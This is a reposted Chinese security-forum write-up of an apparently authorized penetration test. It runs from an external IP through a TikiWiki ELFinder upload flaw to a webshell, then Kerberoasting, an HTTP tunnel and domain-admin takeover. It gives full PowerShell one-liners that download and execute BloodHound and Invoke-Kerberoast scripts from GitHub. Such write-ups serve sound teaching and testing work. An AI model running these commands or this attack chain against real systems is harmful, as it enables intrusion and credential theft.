安全矩阵

 找回密码
 立即注册
搜索
查看: 1072|回复: 0

从一个IP入手到拿下域控的整个过程

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-9-24 12:13:26 | 显示全部楼层 |阅读模式
本帖最后由 littlebird 于 2022-9-25 16:42 编辑

​ 转载自:从一个IP入手到拿下域控的整个过程
在一次渗透测试中,客户给了一个 IP 范围,要求执行外部的渗透测试,在尝试 nessus 扫描之后没有发现任何可以利用的点,着着我不得不探查目标 IP 是否部署有 web 服务,从而进一步测试。
反查域名企业外部提供服务的网站都是通过域名来访问,在得知目标 IP 的情况下,我们是有机会获取到有哪些域名解析到这个 IP 之上,方法有很多,比如一些网站提供的 IP 反查功能,还有一些 dns 数据库中查询,还有就是通过搜索引擎的语法,这里我是用 bing 的搜索语法来看看这些 IP 上部署了哪些 web 服务。
经过一轮搜索,发现其中一个 IP 部署了一个 wiki 系统,如图:
编辑
链接中有 tiki 关键词,让我联想到了 TikiWiki CMS,接下来我通过搜索引擎搜索关于 TikiWiki 相关的远程命令执行的漏洞,别说,还真有,问题出在插件 ELFinder 中,恰好目标使用了这个插件:
编辑
漏洞利用漏洞利用的 EXP 在 exploit-db 上找到,是 msf 的插件,需要使用 msf 来进行利用,漏洞利用 EXP 地址:
https://www.exploit-db.com/exploits/40091
该漏洞是一个文件上传漏洞,利用过程如图:
​​

编辑
但是在实际利用的时候,发现没有成功,报错提示是连接被重置:
编辑
因为漏洞原理我们是知道的,毕竟 exp 中写的很详细,接下来我们尝试手工复现,构造漏洞利用的数据包,然后提交至服务器,如图:
编辑
发现上传成功,接下来可以访问 webshell 来控制目标服务器。
权限提升在使用 php webshell 执行 systeminfo 命令时返回信息中发现,目标服务器在域中(Domain 字段有域名):
编辑
然后查看当前 shell 的权限,使用命令 whoami,发现是 IIS_IUSRS:
编辑
从这里我们可以知道目标服务器操作系统是 windows,web 服务器是 IIS,使用 asp 的 webshell 会有不同的权限,我尝试上传了一个 aspx 的 webshell,然后查询当前权限,发现是 NT AUTHORITY\NETWORK SERVICE 权限:
编辑
域信息收集接下来我是用 BloodHound 来收集域中的相关信息,命令:
  1.     powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/incredibleindishell/Windows-AD-environment-related/master/Blood_Hound/bps_in.ps1'); Invoke-BloodHound -CollectionMethod All -CompressData -RemoveCSV
复制代码

将收集到的信息上传至本地的 BloodHound 控制台,发现有很少的用户可以获取域管理员的权限:
编辑
接下来使用 Invoke-Kerberoast 收集 Kerberos TGS Ticket,命令:

  1.     powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty hash | Out-File -filepath ticket_b0x.txt
复制代码

将获取到的 Ticket 信息使用 hashcat 进行暴力破解,还好在一天后成功获得密码。

建立 HTTP 隧道控制内部服务器测试时发现,内部比较敏感的机器,比如域控制器,无法建立反向隧道,因为外围防火墙做了出站限制,为了解决这个问题,我是用了 NCC 组织开发的建立 HTTP 隧道的脚本:
  1. https://github.com/nccgroup/ABPTTS
复制代码



将 asox 脚本上传至 web 服务器,然后在本地启动,这样我们在本地就可以访问域控制器上的资源:




编辑
其实 ABPTTS 的功能与 reGeorg 类似,通过主动连接 web 服务器后门来建立 HTTP 虽然,然后就可以将本地的流量通过 web 服务器上的后门转发至内网,从而实现对内部敏感服务器的访问。
后来因为域中 ACL 权限访问控制过于松散,从而获得了域管理员的账号权限,接管了整个域。
总结本文算是一个比较完整的域渗透过程,很多细节做了精简,但是大体流程还是比较清晰,每一个过程可能有很多可以替代的技术,作为参考,还是很有学习的价值的,能够清理的了解一个完整的从外到内的整个渗透过程。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 11:54 , Processed in 0.012842 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表